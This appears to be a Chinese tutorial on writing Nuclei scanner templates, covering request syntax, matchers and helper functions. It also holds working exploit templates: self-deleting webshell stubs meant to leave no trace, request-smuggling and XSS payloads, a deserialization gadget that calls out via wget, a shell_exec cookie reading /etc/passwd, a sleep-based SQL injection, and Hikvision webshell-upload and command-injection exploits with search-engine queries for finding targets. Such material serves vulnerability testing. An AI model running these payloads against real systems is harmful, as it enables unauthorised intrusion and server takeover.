Nuclei_poc模版编写
测试销毁代码
有时候Nuclei只为了验证不想留下痕迹时,可以使用以下验证代码,实现访问(验证)一次后自删除的效果,也可以利用该代码达到覆盖并删除之前文件的效果。
JSP
<% out.println("{{randstr}}");new java.io.File(application.getRealPath(request.getServletPath())).delete(); %>
PHP
<?php echo "{{randstr}}";unlink(__FILE__); ?>
ASP
<%@ Page Language="C#"%><% Response.Write("{{randstr}}");System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
id
ID 不得包含空格。这样做是为了让输出解析更容易。
id: git-config
信息
下面信息块为 名称 、 作者 、 严重性 、 描述 和 标签 。
info:
name: Git Config File Detection Template
author: Ice3man
severity: medium
description: Searches for the pattern /.git/config on passed URLs.
tags: git,config
实际请求和相应的匹配器被放置在信息块下方,它们执行向目标服务器发出请求并查找模板请求是否成功的任务。
请求
HTTP 请求以一个request
块开始,该块指定模板请求的开始。
requests:
原始 HTTP 请求
常用的创建请求的方法是使用原始请求,它具有更大的灵活性和对 DSL 辅助函数的支持,例如以下请求(现在建议将Host
标头保留为示例中的变量{{Hostname}}
)、所有匹配器、提取器功能可以以与上述相同的方式与 RAW 请求一起使用。
requests:
- raw:
- |
POST /path2/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
a=test&b=pd
RAW 请求格式还支持各种辅助函数
raw:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('username:password')}} # Helper function to encode input at run time.
重定向
默认情况下不支持重定向。如果有需要,可以添加redirects: true
在请求详细信息中启用。然后使用max-redirects
字段,后面的数字是允许重定向的次数,默认情况下最多遵循 10 个重定向。
requests:
redirects: true
max-redirects: 3
Session
在发起多个请求时,需要保持会话,可以添加cookie-reuse: true
来保持多个请求时会话得到保持,这在有身份验证时很有用。
# cookie-reuse accepts boolean input and false as default
cookie-reuse: true
路径
请求的下一部分是请求的路径。动态变量可以放置在路径中以在运行时修改其行为。变量以开头{{
和}}
结尾并且区分大小写。
{{BaseURL}} - 这将在请求的运行时替换为目标文件中指定的输入 URL。
{{RootURL}} - 这将在运行时将请求中的根 URL 替换为目标文件中指定的根 URL。
{{Hostname}} - 主机名变量被替换为主机名,包括运行时目标的端口。
{{Host}} - 这将在运行时替换目标文件中指定的输入主机的请求。
{{Port}} - 这将在请求中的运行时替换为目标文件中指定的输入端口。
{{Path}} - 这将在请求中的运行时替换为目标文件中指定的输入路径。
{{File}} - 这将在请求中的运行时替换为目标文件中指定的输入文件名。
{{Scheme}} - 这将在运行时按目标文件中指定的协议替换模板中的请求。
Variable | Value |
---|---|
{{BaseURL}} | https://example.com:443/foo/bar.php |
{{RootURL}} | https://example.com:443 |
{{Hostname}} | example.com:443 |
{{Host}} | example.com |
{{Port}} | 443 |
{{Path}} | /foo |
{{File}} | bar.php |
{{Scheme}} | https |
请求条件
请求条件允许检查多个请求之间的条件,以编写复杂的检查和涉及多个 HTTP 请求的漏洞利用以完成漏洞利用链。
使用 DSL 匹配器,可以通过添加req-condition: true
和 作为后缀的数字来使用相应的属性,status_code_1
例如。status_code_3
body_2
req-condition: true
matchers:
- type: dsl
dsl:
- "status_code_1 == 404 && status_code_2 == 200 && contains((body_2), 'secret_string')"
不安全的 HTTP 请求
Nuclei 支持rawhttp以实现完整的请求控制和自定义,允许针对 HTTP 请求走私、host头注入、带有畸形字符的 CRLF 等问题 的任何类型的畸形请求 。
rawhttp库默认是禁用的,可以通过包含unsafe: true
在请求块中来启用。
requests:
- raw:
- |+
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 150
Transfer-Encoding: chunked
0
GET /post?postId=5 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1
- |+
GET /post?postId=5 HTTP/1.1
Host: {{Hostname}}
unsafe: true # Enables rawhttp client
matchers:
- type: dsl
dsl:
- 'contains(body, "<script>alert(1)</script>")'
条件竞争
竞争条件是另一类不易通过传统工具自动化的错误。Burp Suite 为 Turbo Intruder 引入了一种 Gate 机制,其中所有请求的所有字节都被发送,期望同时发送最后一个字节,仅针对同步发送事件的所有请求一起发送。
nuclei 引擎中实现了Gate机制,并允许它们通过模板运行,这使得对该特定 bug 类的测试变得简单且可移植。
要在模板中启用竞争条件检查,race
可以将属性设置为true
并race_count
定义要启动的同时请求的数量。
下面是一个示例模板,其中使用逻辑相同的请求 10 次。
id: race-condition-testing
info:
name: Race condition testing
author: pdteam
severity: info
requests:
- raw:
- |
POST /coupons HTTP/1.1
Host: {{Hostname}}
promo_code=20OFF
race: true
race_count: 10
matchers:
- type: status
part: header
status:
- 200
多请求竞争条件测试
对于需要发送多个请求以利用竞争条件的场景,我们可以使用线程。
下面是一个示例模板,其中将使用同时发送多个 (5) 请求。
threads: 5
race: true
threads
是使用模板发出的用于执行竞争条件测试的请求总数。
id: multi-request-race
info:
name: Race condition testing with multiple requests
author: pd-team
severity: info
requests:
- raw:
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=1
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=2
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=3
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=4
- |
POST / HTTP/1.1
Pragma: no-cache
Host: {{Hostname}}
Cache-Control: no-cache, no-transform
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
id=5
threads: 5
race: true
官方说明
官方文档:https://docs.nuclei.sh/getting-started/overview
nuclei 2.9.1 版本更新了模板格式,建议将 nuclei 版本升级至 2.9.1 或更高版本以确保正确解析模板格式
===========================示例模板===================
id: template-id
info:
name: Template Name
author: test
severity: info
description: 漏洞详情描述
reference:
- https://Template.nuclei.sh
# 元数据节点,与 uncover 集成的格式如下:<engine>-query: '<query>'
metadata:
max-request: 2
fofa-query: 'body="公司"'
shodan-query: 'vuln:CVE-2021-26855'
hunter-query: 'web.body="公司"'
tags: tags
# 自定义模版变量,自2.6.9版本开始支持
variables:
first_1: "{{rand_int(8, 20)}}"
first_2: "{{rand_int(100, 1000)}}"
http:
# 解析 raw 格式请求
- raw:
- |-
POST /{{Path}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"pageNum":1,"pageSize":{{PageSize}}}
payloads:
header: helpers/wordlists/header.txt
Path:
- 'api/selectContentManagePage'
PageSize:
- "{{first_1}}"
- "{{first_2}}"
attack: clusterbomb # 定义HTTP模糊攻击类型,可用类型: batteringram,pitchfork,clusterbomb
matchers-condition: and
matchers:
- type: dsl
dsl:
# 检查Cookie的MD5校验和是否包含在大写的请求体中
- "contains(toupper(body), md5(cookie))"
- "contains(header, 'application/json')"
- "contains(body, 'pageSize')"
- "contains(body_1, 'pageSize') && contains(body_2, 'pageNum')"
- "status_code == 200"
- "status_code_1 == 404 && status_code_2 == 200"
condition: and
- type: dsl
dsl:
# 检测相应包的长度
- "len(body_1) != 0"
# 基于DSL的持续时间匹配器,当响应时间与定义的持续时间匹配时返回true,示例为大于等于6秒
- 'duration>=6'
condition: and
# 匹配变量
- type: word
part: body
words:
- "{{first_2}}"
# Interactsh匹配器,需要和使用 {{interactsh_url}}
# 可匹配 interactsh_protocol、interactsh_request和 interactsh_response 三处
# 确认HTTP交互
- type: word
part: interactsh_protocol
words:
- "http"
# 确认检索/etc/passwd文件
- type: regex
part: interactsh_request
regex:
- "root:[x*]:0:0:"
# 确认DNS交互
- type: word
part: interactsh_response
words:
- "dns"
# 二进制流匹配
- type: binary
binary:
- "504B0304" # zip archive
- "526172211A070100" # RAR archive version 5.0
- "FD377A585A0000" # xz tar.xz archive
condition: or # 指定单个匹配器内多个条件的与或关系
part: body
- type: word
encoding: hex
words:
- "50494e47"
part: body
# 否定匹配器,对匹配器结果进行取反
- type: word
words:
- "PHPSESSID"
part: header
negative: true
extractors:
- type: regex
# 为提取的信息命名,方便调用,可省略
name: api
part: body
# 避免在终端中打印提取的值,使用动态变量时必须添加此标志
internal: true
regex:
- "(?m)[0-9]{3,10}\.[0-9]+"
----------------------------分割线----------------------------
# 嵌套表达式
❌ {{url_decode({{base64_decode('SGVsbG8=')}})}}
✔ {{url_decode(base64_decode('SGVsbG8='))}}
# 如果需要在 extractor 中使用,比如将 extractor 提取的变量值 test 进行处理
{{url_decode(base64_decode('{{test}}'))}}
----------------------------分割线----------------------------
# 自 Nuclei v2.3.6 发行以来,Nuclei 支持使用 interact.sh API 内置自动请求关联来实现基于 OOB 的漏洞扫描
http:
- raw:
- |
GET /plugins/servlet/oauth/users/icon-uri?consumerUri={{interactsh-url}} HTTP/1.1
Host: {{Hostname}}
----------------------------分割线----------------------------
# JAVA反序列化: https://docs.nuclei.sh/template-guide/helper-functions#deserialization-helper-functions
http:
- raw:
- |
POST /index.faces;jsessionid=x HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
----------------------------分割线----------------------------
# 发送一个GET请求
http:
- method: GET
path:
- "{{BaseURL}}/actuator/env"
- "{{BaseURL}}/login"
- "{{BaseURL}}/thumbs.db"
- "{{BaseURL}}/.svn/wc.db"
# 发送一些头部信息给服务器的示例
headers:
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
Cookie: "CSRF-TOKEN=rnqvt{{shell_exec('cat /etc/passwd')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl"
# skip-variables-check 可以使 nuclei 不要解析请求内容中 `{{` 为变量
skip-variables-check: true
# 如果模板中包含多个扫描路径,当第一个路径匹配成功时,会自动停止后续路径的扫描,这不会影响其他模板
stop-at-first-match: true
# 单位 bytes- 从服务器响应中读取的最大值
max-size: 500
----------------------------分割线----------------------------
id: wp-related-post-xss
http:
# 发送一个POST请求
- method: POST
path:
- '{{RootURL}}/wp-login.php'
headers:
Content-Type: application/x-www-form-urlencoded
body: 'log={{username}}&pwd={{password}}&wp-submit=Log+In'
- method: GET
path:
- '{{RootURL}}/wp-admin/admin.php?page=rp4wp_link_related&rp4wp_parent=156x%27%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3Ep'
# cookie-reuse 参数为 true,在多个请求之间维护基于 cookie 的会话,该参数接受布尔类型的输入,默认值为 false。
cookie-reuse: true
# req-condition 与 DSL表达式匹配器一起使用,它允许逻辑表达式包含跨多个请求/响应的条件
# 在模板中添加 "req-condition: true" 选项,响应的属性可以使用 "<请求编号>" 后缀来引用特定的响应,例如 status_code_1、status_code_3 或 body_2
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- "contains(header, 'text/html')"
- "contains(body_1, '<img src=x onerror=alert(document.domain)>&action=edit') && contains(body_2, 'All Posts</a>')"
- "status_code == 200"
condition: and
----------------------------分割线----------------------------
# @timeout 请求注解
id: PrestaShop_Product_Comments_SQL_Injection_CVE-2020-26248
http:
- raw:
- |
# @timeout 是请求注解的一种,⽤于覆盖默认的请求超时时间
@timeout: 20s
GET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products%5B%5D=(select*from(select(sleep(6)))a) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6 && status_code == 200'
- 'contains(content_type, "application/json") && contains(body, "average_grade")'
condition: and
----------------------------分割线----------------------------
# "self-contained"通常在批量检测API可用性时使用
# 假设你通过信息泄露获得了一个API密钥,但不知道这个密钥属于哪个服务,也没有其他特征可供参考。这时,你只能逐个尝试各个官方API接口,看哪个平台能够成功验证该密钥。
id: example-self-contained-input
self-contained: true
http:
- raw:
- |
GET https://example.com:443/gg HTTP/1.1
Host: example.com:443
https://docs.nuclei.sh/template-guide/helper-functions
----------------------------分割线----------------------------
# https://example.com:443/foo/bar.php
{{BaseURL}} # https://example.com:443/foo/bar.php
{{RootURL}} # https://example.com:443
{{Hostname}} # example.com:443
{{Host}} # example.com
{{Port}} # 443
{{Path}} # /foo
{{File}} # bar.php
{{Scheme}} # https
----------------------------分割线----------------------------
# 重点配置参数备忘:
# skip-variables-check 可以使 nuclei 不要解析请求内容中 `{{` 为变量
skip-variables-check: true
# 如果模板中包含多个扫描路径,当第一个路径匹配成功时,会自动停止后续路径的扫描,这不会影响其他模板
stop-at-first-match: true
# 单位 bytes- 从服务器响应中读取的最大值
max-size: 500
# cookie-reuse 参数为 true,在多个请求之间维护基于 cookie 的会话,该参数接受布尔类型的输入,默认值为 false。
cookie-reuse: true
# req-condition 与 DSL表达式匹配器一起使用,它允许逻辑表达式包含跨多个请求/响应的条件
# 在模板中添加 "req-condition: true" 选项,响应的属性可以使用 "<请求编号>" 后缀来引用特定的响应,例如 status_code_1、status_code_3 或 body_2
req-condition: true
redirects: true # 启用重定向
max- redirects: 3 # 允许重定向的次数,默认值为 10
----------------------------分割线----------------------------
# 返回输入的长度
{{len("Hello")}}
{{len(5555)}}
----------------------------分割线----------------------------
# 随机字段
{{randstr}}
{{rand_int(10)}}
----------------------------分割线----------------------------
# 大小写转换
{{to_lower("HELLO")}} #将输入转换为小写字符
{{to_upper("hello")}} #将输入转换为大写字符
----------------------------分割线----------------------------
# 编码转换
{{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} #对输入字符串进行URL解码
{{url_encode("https://projectdiscovery.io/test?a=1")}} #对输入字符串进行URL编码
{{hex_decode("6161")}}
{{hex_encode("aa")}}
{{sha1("Hello")}}
{{sha256("Hello")}}
{{base64("Hello")}}
{{base64(1234)}}
{{base64_decode("SGVsbG8=")}}
{{base64_py("Hello")}} #像Python一样将字符串编码为Base64(包含换行符)
{{md5("Hello")}}
{{md5(1234)}}
----------------------------分割线----------------------------
{{rand_base(5)}}
{{rand_base(5, "abc")}}
{{rand_char("abc")}}
{{rand_char()}}
{{rand_int()}}
{{rand_int(1, 10)}}
{{rand_text_alpha(10)}}
{{rand_text_alpha(10, "abc")}}
{{rand_text_alphanumeric(10)}}
{{rand_text_alphanumeric(10, "ab12")}}
{{rand_text_numeric(10)}}
{{rand_text_numeric(10, 123)}}
----------------------------分割线----------------------------
# 验证字符串是否包含子字符串
{{contains("Hello", "lo")}}
----------------------------分割线----------------------------
{{generate_java_gadget("commons-collections3.1", "wget {{interactsh-url}}", "base64")}}
{{gzip("Hello")}}
{{html_escape("<body>test</body>")}}
{{html_unescape("<body>test</body>")}}
{{mmh3("Hello")}}
{{print_debug(1+2, "Hello")}}
{{regex("H([a-z]+)o", "Hello")}}
{{remove_bad_chars("abcd", "bc")}}
{{repeat("../", 5)}}
{{replace("Hello", "He", "Ha")}}
{{replace_regex("He123llo", "(\d+)", "")}}
{{reverse("abc")}}
{{trim("aaaHelloddd", "ad")}}
{{trim_left("aaaHelloddd", "ad")}}
{{trim_prefix("aaHelloaa", "aa")}}
{{trim_right("aaaHelloddd", "ad")}}
{{trim_space(" Hello ")}}
{{trim_suffix("aaHelloaa", "aa")}}
{{unix_time(10)}}
{{wait_for(1)}}
----------------------------分割线----------------------------
# www.projectdiscovery.io
{{FQDN}} # www.projectdiscovery.io
{{RDN}} # projectdiscovery.io
{{DN}} # projectdiscovery
{{SD}} # www
{{TLD}} # io
模板范例
1
id: HHIKVISION_iVMS-8700_upload
info:
name: HHIKVISION iVMS-8700 upload Webshell file
author: zerZero Trust Security Attack and Defense Laboratory
severity: high
description: |
HHIKVISION iVMS-8700 Comprehensive Security Management Platfor upload Webshell file
metadata:
fofa-query: icon_hash="-911494769"
hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685"
variables:
str0: '{{BaseURL}}/eps/api/resourceOperations/uploadsecretKeyIbuilding' #定义变量,{{BaseURL}}替换为目标文件中指定的输入 URL
http:
- raw:
- |
POST /eps/api/resourceOperations/upload?token={{toupper(md5(str0))}} HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Android 3.2.5; Mobile; rv:51.0) Gecko/51.0 Firefox/51.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 184
Content-Type: multipart/form-data; boundary=c4155aff43901a8b2a19a4641a5efa15
--c4155aff43901a8b2a19a4641a5efa15
Content-Disposition: form-data; name="fileUploader"; filename="test.jsp"
Content-Type: image/jpeg
{{randstr}} #随机字段
--c4155aff43901a8b2a19a4641a5efa15--
- |
GET /eps/upload/{{name}}.jsp HTTP/1.1 #{{name}}调用extractors提取的响应包中的文件名
Host: {{Hostname}}
extractors:
- type: json # 根据json响应提取文件名
name: name # 为提取的信息命名,方便调用
json:
- ".data.resourceUuid" #匹配参数的值,参考下面截图
internal: true # 避免在终端中打印提取的值,使用动态变量时必须添加此标志
matchers:
- type: word
words:
- '{{randstr}}' #匹配请求时生成的随机字段
2
id: HIKVISION_iVMS-8700_upload.action
info:
name: HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 upload Webshell file
author: Zero Trust Security Attack and Defense Laboratory
severity: high
description: |
HIKVISION iVMS-8700 Comprehensive Security Management Platform 1 There is an arbitrary file upload vulnerability where attackers can control the server by sending specific request packets to upload Webshell files
metadata:
fofa-query: icon_hash="-911494769"
hunter-query: web.icon="3670cbb1369332b296ce44a94b7dd685"
variables: #定义变量
str1: '{{rand_base(6)}}' #生成6位随机数字字母
str2: '{{rand_base(6)}}'
str3: '<%out.print("{{str2}}");%>' #应用上面定义的变量
http:
- raw:
- |
POST /eps/resourceOperations/upload.action HTTP/1.1
Host: {{Hostname}} #替换为主机名,包括运行时目标的端口
User-Agent: MicroMessenger
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTJyhtTNqdMNLZLhj
------WebKitFormBoundaryTJyhtTNqdMNLZLhj
Content-Disposition: form-data; name="fileUploader";filename="{{str1}}.jsp"
Content-Type: image/jpeg
{{str3}}
------WebKitFormBoundaryTJyhtTNqdMNLZLhj--
- |
GET /eps/upload/{{res_id}}.jsp HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: res_id # 为提取的信息命名,方便调用
json:
- ".data.resourceUuid" #匹配参数的值,参考上面截图
internal: true # 避免在终端中打印提取的值,使用动态变量时必须添加此标志
matchers:
- type: dsl #使用DSL匹配器匹配对应内容
dsl:
- body_2 == str2 #body_2表示第二个请求的响应体中的内容(body_1则表示第一个,若请求只有一个可直接以body表示)
3
id: hikvision-spon-rce
info:
name: 海康威视IP网络对讲广播系统存在命令执行漏洞
author: BY
severity: high
description: |
大海康威视IP网络对讲广播系统存在命令执行漏洞
tags: 2023,hikvision,rce
metadata:
max-request: 2 #表示为运行特定模板而发出的最大请求数,这将有助于提前了解在时间或请求方面将消耗的总体资源
fofa-query: icon_hash="-1830859634"
verified: true #是否验证
requests:
- raw:
- |
POST /php/ping.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 43
Connection: close
jsondata[type]=3&jsondata[ip]=ipconfig
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'status_code==200 && contains(body,"IPv4")'